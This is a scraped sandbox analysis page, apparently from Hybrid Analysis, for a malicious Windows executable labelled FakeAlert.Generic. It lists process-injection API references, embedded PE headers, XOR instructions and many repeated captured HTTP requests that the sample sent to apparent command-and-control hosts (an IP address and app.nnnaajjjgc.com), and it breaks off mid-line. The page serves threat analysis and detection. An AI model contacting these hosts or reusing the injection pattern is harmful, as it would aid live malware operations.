24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 5a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T499,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious FakeAlert.Generic Sample 82ecd2b86422… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 82ecd2b86422…. Malware family: FakeAlert.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30","keywords":["Malicious","FakeAlert.Generic","malware analysis","sandbox report","threat intelligence","82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30"],"about":{"@type":"SoftwareApplication","name":"82ecd.Trojan.exe","applicationCategory":["peexe","executable"],"identifier":"82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"FakeAlert.Generic","antivirusDetections":{"malicious":14,"total":28},"behavioralIndicators":{"malicious":12,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T906,Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp")26:T49d,Found PE header "MZ" - Source: "00000000-00000932.00000000.69539.00BD0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00000932.00000001.71457.00BD0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00000932.00000002.73376.00BD0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006112.00000000.69268.900E0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006112.00000001.71189.04700000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00006112.00000001.71189.04E30000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00006112.00000001.71189.04FB0000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00006112.00000001.71189.900E0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006112.00000002.73109.04700000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00006112.00000002.73109.04E30000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00006112.00000002.73109.04FB0000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00006112.00000002.73109.900E0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006156.00000000.69248.00080000.00000002.mdmp")27:T17cd,Assembly shows XOR instruction xor edx eax in Stream UID: 00000000-00006156-28658-9-00099314 Assembly shows XOR instruction xor edi dword ptr [000AF00Ch] in Stream UID: 00000000-00006156-28658-9-00099314 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00006156-28658-41-00093F50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006156-28658-41-00093F50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00006156-28658-41-00093F50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00006156-28658-41-00093F50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00006156-28658-41-00093F50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00006156-28658-41-00093F50 Assembly shows XOR instruction xor edx eax in Stream UID: 00000000-00000932-43545-10-00BE9314 Assembly shows XOR instruction xor edi dword ptr [00BFF00Ch] in Stream UID: 00000000-00000932-43545-10-00BE9314 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00000932-43545-42-00BE3F50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-43545-42-00BE3F50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00000932-43545-42-00BE3F50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00000932-43545-42-00BE3F50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00000932-43545-42-00BE3F50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00000932-43545-42-00BE3F50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-298-00BE620E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-298-00BE620E Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00000932-46466-355-00BD3620 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00000932-46466-355-00BD3620 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-355-00BD3620 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-355-00BD3620 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-128-00BEB0BD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-128-00BEB0BD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-107-00BEDB47 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-107-00BEDB47 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-300-00BE637E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-300-00BE637E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-361-00BD5420 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-361-00BD5420 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-367-00BD9180 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-367-00BD9180 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-354-00BD3C00 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-354-00BD3C00 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-282-00BE6721 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-282-00BE6721 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-141-00BEC414 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-141-00BEC414 Assembly shows XOR instruction xor al byte ptr [ecx+edx+2Dh] in Stream UID: 00000000-00000932-46466-321-00BED6FE Assembly shows XOR instruction xor byte ptr [ecx+edx+2Dh] al in Stream UID: 00000000-00000932-46466-321-00BED6FE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-583-00BDF360 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-583-00BDF360 Assembly shows XOR instruction xor bh cl in Stream UID: 00000000-00000932-46466-583-00BDF360 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-368-00BD8190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-368-00BD8190 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-75-00BE6B80 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-75-00BE6B80 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-586-00BDEE60 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-586-00BDEE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-596-00BDC4C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-596-00BDC4C0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-181-00BD5E80 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-181-00BD5E80 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-239-00BF0CE2 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-239-00BF0CE2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-642-00BEAE38 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-642-00BEAE38 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-587-00BDB720 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-587-00BDB720 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000932-46466-588-00BDDB60 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000932-46466-588-00BDDB6028:Te94e,Contains base64 string in header "POST" in header "POST /8bmeVwqx/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 5.42.65.80Content-Length: 98Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /8bmeVwqx/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 5.42.65.80Content-Length: 98Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /8bmeVwqx/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 5.42.65.80Content-Length: 98Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /8bmeVwqx/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 5.42.65.80Content-Length: 98Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227208&key=65ec0b10e84820dd7d4dc2f71691cda8 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "65ec0b10e84820dd7d4dc2f71691cda8" in header "POST /check/?sid=227208&key=65ec0b10e84820dd7d4dc2f71691cda8 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227208&key=65ec0b10e84820dd7d4dc2f71691cda8 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227208&key=65ec0b10e84820dd7d4dc2f71691cda8 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227208&key=65ec0b10e84820dd7d4dc2f71691cda8 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227208&key=65ec0b10e84820dd7d4dc2f71691cda8 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227208&key=65ec0b10e84820dd7d4dc2f71691cda8 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227214&key=f817e24a103cedc8bc3286a7c6f3ef40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "f817e24a103cedc8bc3286a7c6f3ef40" in header "POST /check/?sid=227214&key=f817e24a103cedc8bc3286a7c6f3ef40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227214&key=f817e24a103cedc8bc3286a7c6f3ef40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227214&key=f817e24a103cedc8bc3286a7c6f3ef40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227214&key=f817e24a103cedc8bc3286a7c6f3ef40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227214&key=f817e24a103cedc8bc3286a7c6f3ef40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227214&key=f817e24a103cedc8bc3286a7c6f3ef40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227234&key=d1d564b3eb43cc09fe5a3e1323c5a589 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "d1d564b3eb43cc09fe5a3e1323c5a589" in header "POST /check/?sid=227234&key=d1d564b3eb43cc09fe5a3e1323c5a589 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227234&key=d1d564b3eb43cc09fe5a3e1323c5a589 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227234&key=d1d564b3eb43cc09fe5a3e1323c5a589 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227234&key=d1d564b3eb43cc09fe5a3e1323c5a589 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227234&key=d1d564b3eb43cc09fe5a3e1323c5a589 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227234&key=d1d564b3eb43cc09fe5a3e1323c5a589 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227240&key=5803f0a72c71760139dbad671609ab41 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "5803f0a72c71760139dbad671609ab41" in header "POST /check/?sid=227240&key=5803f0a72c71760139dbad671609ab41 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227240&key=5803f0a72c71760139dbad671609ab41 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227240&key=5803f0a72c71760139dbad671609ab41 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227240&key=5803f0a72c71760139dbad671609ab41 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227240&key=5803f0a72c71760139dbad671609ab41 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227240&key=5803f0a72c71760139dbad671609ab41 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227246&key=f8d73cde95b03d1c663ada914eeef4a1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "f8d73cde95b03d1c663ada914eeef4a1" in header "POST /check/?sid=227246&key=f8d73cde95b03d1c663ada914eeef4a1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227246&key=f8d73cde95b03d1c663ada914eeef4a1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227246&key=f8d73cde95b03d1c663ada914eeef4a1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227246&key=f8d73cde95b03d1c663ada914eeef4a1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227246&key=f8d73cde95b03d1c663ada914eeef4a1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227246&key=f8d73cde95b03d1c663ada914eeef4a1 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227258&key=31e1861f5541e8558cc525814ed9b2d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "31e1861f5541e8558cc525814ed9b2d2" in header "POST /check/?sid=227258&key=31e1861f5541e8558cc525814ed9b2d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=227258&key=31e1861f5541e8558cc525814ed9b2d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=227258&key=31e1861f5541e8558cc525814ed9b2d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=227258&key=31e1861f5541e8558cc525814ed9b2d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=227258&key=31e1861f5541e8558cc525814ed9b2d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=227258&key=31e1861f5541e8558cc525814ed9b2d2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=227272&key=bda5c5c8f70f1055471bc7f7c3c90c85 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "bda5c5c8f70f1055471bc7f7c3c90c85" in header "POST /check/?sid=227272&key=bda5c5c8f70f1055471bc7f7c3c90c85 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST 